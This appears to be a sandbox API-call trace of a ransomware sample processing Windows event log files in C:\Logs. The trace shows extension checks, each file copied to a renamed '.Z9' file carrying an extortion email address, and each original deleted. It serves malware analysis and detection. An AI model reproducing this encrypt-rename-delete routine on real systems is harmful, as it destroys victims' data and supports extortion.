	[0082.699] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.699] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0082.699] lstrlenW (lpString=".dbf") returned 4
	[0082.699] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.699] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0082.699] lstrlenW (lpString=".1cd") returned 4
	[0082.699] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.699] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0082.699] lstrlenW (lpString=".jpg") returned 4
	[0082.699] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.699] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0082.699] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0082.699] lstrlenW (lpString=".doc") returned 4
	[0082.699] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.699] lstrlenW (lpString=".docx") returned 5
	[0082.699] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.699] lstrlenW (lpString=".pdf") returned 4
	[0082.699] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.699] lstrlenW (lpString=".xls") returned 4
	[0082.699] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.699] lstrlenW (lpString=".xlsx") returned 5
	[0082.699] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.699] lstrlenW (lpString=".ppt") returned 4
	[0082.699] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.699] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0082.699] lstrlenW (lpString=".zip") returned 4
	[0082.699] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.699] lstrlenW (lpString=".rar") returned 4
	[0082.699] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.700] lstrlenW (lpString=".bz2") returned 4
	[0082.700] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.700] lstrlenW (lpString=".7z") returned 3
	[0082.700] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0082.700] lstrlenW (lpString=".dbf") returned 4
	[0082.700] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0082.700] lstrlenW (lpString=".1cd") returned 4
	[0082.700] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0082.700] lstrlenW (lpString=".jpg") returned 4
	[0082.700] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.700] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.700] lstrlenW (lpString="Microsoft-Windows-Store%4Operational.evtx") returned 41
	[0082.700] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0082.701] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=69632) returned 1
	[0082.701] CloseHandle (hObject=0x374) returned 1
	[0082.701] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20
	[0082.701] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.701] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0082.701] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.701] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.701] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0082.702] GetLastError () returned 0x0
	[0082.702] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.704] WriteFile (in: hFile=0x320, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.706] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.706] WriteFile (in: hFile=0x320, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x126, lpOverlapped=0x0) returned 1
	[0082.706] SetEndOfFile (hFile=0x320) returned 1
	[0082.706] CloseHandle (hObject=0x320) returned 1
	[0082.708] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.708] SetEndOfFile (hFile=0x374) returned 1
	[0082.710] CloseHandle (hObject=0x374) returned 1
	[0082.710] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.710] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 1
	[0082.710] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.710] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.710] lstrlenW (lpString=".doc") returned 4
	[0082.710] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.710] lstrlenW (lpString=".docx") returned 5
	[0082.710] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.710] lstrlenW (lpString=".pdf") returned 4
	[0082.710] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.710] lstrlenW (lpString=".xls") returned 4
	[0082.710] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.710] lstrlenW (lpString=".xlsx") returned 5
	[0082.710] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.710] lstrlenW (lpString=".ppt") returned 4
	[0082.710] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.710] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.711] lstrlenW (lpString=".zip") returned 4
	[0082.711] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.711] lstrlenW (lpString=".rar") returned 4
	[0082.711] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.711] lstrlenW (lpString=".bz2") returned 4
	[0082.711] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.711] lstrlenW (lpString=".7z") returned 3
	[0082.711] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.711] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.711] lstrlenW (lpString=".dbf") returned 4
	[0082.711] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.711] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.711] lstrlenW (lpString=".1cd") returned 4
	[0082.711] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.711] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.711] lstrlenW (lpString=".jpg") returned 4
	[0082.711] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.711] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.711] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.711] lstrlenW (lpString=".doc") returned 4
	[0082.711] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.711] lstrlenW (lpString=".docx") returned 5
	[0082.711] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.711] lstrlenW (lpString=".pdf") returned 4
	[0082.711] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.711] lstrlenW (lpString=".xls") returned 4
	[0082.711] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.711] lstrlenW (lpString=".xlsx") returned 5
	[0082.711] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.711] lstrlenW (lpString=".ppt") returned 4
	[0082.711] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.711] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.711] lstrlenW (lpString=".zip") returned 4
	[0082.711] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.712] lstrlenW (lpString=".rar") returned 4
	[0082.712] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.712] lstrlenW (lpString=".bz2") returned 4
	[0082.712] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.712] lstrlenW (lpString=".7z") returned 3
	[0082.712] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.712] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.712] lstrlenW (lpString=".dbf") returned 4
	[0082.712] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.712] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.712] lstrlenW (lpString=".1cd") returned 4
	[0082.712] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.712] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0082.712] lstrlenW (lpString=".jpg") returned 4
	[0082.712] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.712] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.712] lstrlenW (lpString="Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 49
	[0082.712] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0082.712] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=69632) returned 1
	[0082.712] CloseHandle (hObject=0x374) returned 1
	[0082.712] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20
	[0082.713] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.713] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0082.713] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.713] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.713] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.185] GetLastError () returned 0x0
	[0083.185] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.218] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.220] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.220] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x136, lpOverlapped=0x0) returned 1
	[0083.220] SetEndOfFile (hFile=0x364) returned 1
	[0083.220] CloseHandle (hObject=0x364) returned 1
	[0083.226] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.226] SetEndOfFile (hFile=0x374) returned 1
	[0083.227] CloseHandle (hObject=0x374) returned 1
	[0083.227] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0083.227] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 1
	[0083.227] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0083.227] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0083.227] lstrlenW (lpString=".doc") returned 4
	[0083.228] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.228] lstrlenW (lpString=".docx") returned 5
	[0083.228] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.228] lstrlenW (lpString=".pdf") returned 4
	[0083.228] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.228] lstrlenW (lpString=".xls") returned 4
	[0083.228] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.228] lstrlenW (lpString=".xlsx") returned 5
	[0083.228] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.228] lstrlenW (lpString=".ppt") returned 4
	[0083.228] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0083.228] lstrlenW (lpString=".zip") returned 4
	[0083.228] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.228] lstrlenW (lpString=".rar") returned 4
	[0083.228] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.228] lstrlenW (lpString=".bz2") returned 4
	[0083.228] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.228] lstrlenW (lpString=".7z") returned 3
	[0083.228] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0083.228] lstrlenW (lpString=".dbf") returned 4
	[0083.228] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0083.228] lstrlenW (lpString=".1cd") returned 4
	[0083.228] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0083.228] lstrlenW (lpString=".jpg") returned 4
	[0083.228] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0083.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0083.228] lstrlenW (lpString=".doc") returned 4
	[0083.228] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.228] lstrlenW (lpString=".docx") returned 5
	[0083.228] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.228] lstrlenW (lpString=".pdf") returned 4
	[0083.229] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.229] lstrlenW (lpString=".xls") returned 4
	[0083.229] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.229] lstrlenW (lpString=".xlsx") returned 5
	[0083.229] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.229] lstrlenW (lpString=".ppt") returned 4
	[0083.229] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.229] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0083.229] lstrlenW (lpString=".zip") returned 4
	[0083.229] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.229] lstrlenW (lpString=".rar") returned 4
	[0083.229] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.229] lstrlenW (lpString=".bz2") returned 4
	[0083.229] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.229] lstrlenW (lpString=".7z") returned 3
	[0083.229] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.229] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0083.229] lstrlenW (lpString=".dbf") returned 4
	[0083.229] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.229] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0083.229] lstrlenW (lpString=".1cd") returned 4
	[0083.229] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.229] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0083.229] lstrlenW (lpString=".jpg") returned 4
	[0083.229] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.229] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0083.229] lstrlenW (lpString="Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 42
	[0083.229] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.230] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=69632) returned 1
	[0083.230] CloseHandle (hObject=0x374) returned 1
	[0083.230] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20
	[0083.230] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.230] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.230] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.230] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.230] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.230] GetLastError () returned 0x0
	[0083.230] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.245] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.247] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.247] WriteFile (in: hFile=0x364, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x128, lpOverlapped=0x0) returned 1
	[0083.247] SetEndOfFile (hFile=0x364) returned 1
	[0083.247] CloseHandle (hObject=0x364) returned 1
	[0083.249] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.250] SetEndOfFile (hFile=0x374) returned 1
	[0083.251] CloseHandle (hObject=0x374) returned 1
	[0083.251] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0083.251] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 1
	[0083.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.252] lstrlenW (lpString=".doc") returned 4
	[0083.252] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.252] lstrlenW (lpString=".docx") returned 5
	[0083.252] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.252] lstrlenW (lpString=".pdf") returned 4
	[0083.252] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.252] lstrlenW (lpString=".xls") returned 4
	[0083.252] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.252] lstrlenW (lpString=".xlsx") returned 5
	[0083.252] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.252] lstrlenW (lpString=".ppt") returned 4
	[0083.252] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.252] lstrlenW (lpString=".zip") returned 4
	[0083.252] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.252] lstrlenW (lpString=".rar") returned 4
	[0083.252] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.252] lstrlenW (lpString=".bz2") returned 4
	[0083.252] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.252] lstrlenW (lpString=".7z") returned 3
	[0083.252] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.252] lstrlenW (lpString=".dbf") returned 4
	[0083.252] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.252] lstrlenW (lpString=".1cd") returned 4
	[0083.252] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.252] lstrlenW (lpString=".jpg") returned 4
	[0083.253] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.253] lstrlenW (lpString=".doc") returned 4
	[0083.253] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.253] lstrlenW (lpString=".docx") returned 5
	[0083.253] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.253] lstrlenW (lpString=".pdf") returned 4
	[0083.253] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.253] lstrlenW (lpString=".xls") returned 4
	[0083.253] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.253] lstrlenW (lpString=".xlsx") returned 5
	[0083.253] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.253] lstrlenW (lpString=".ppt") returned 4
	[0083.253] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
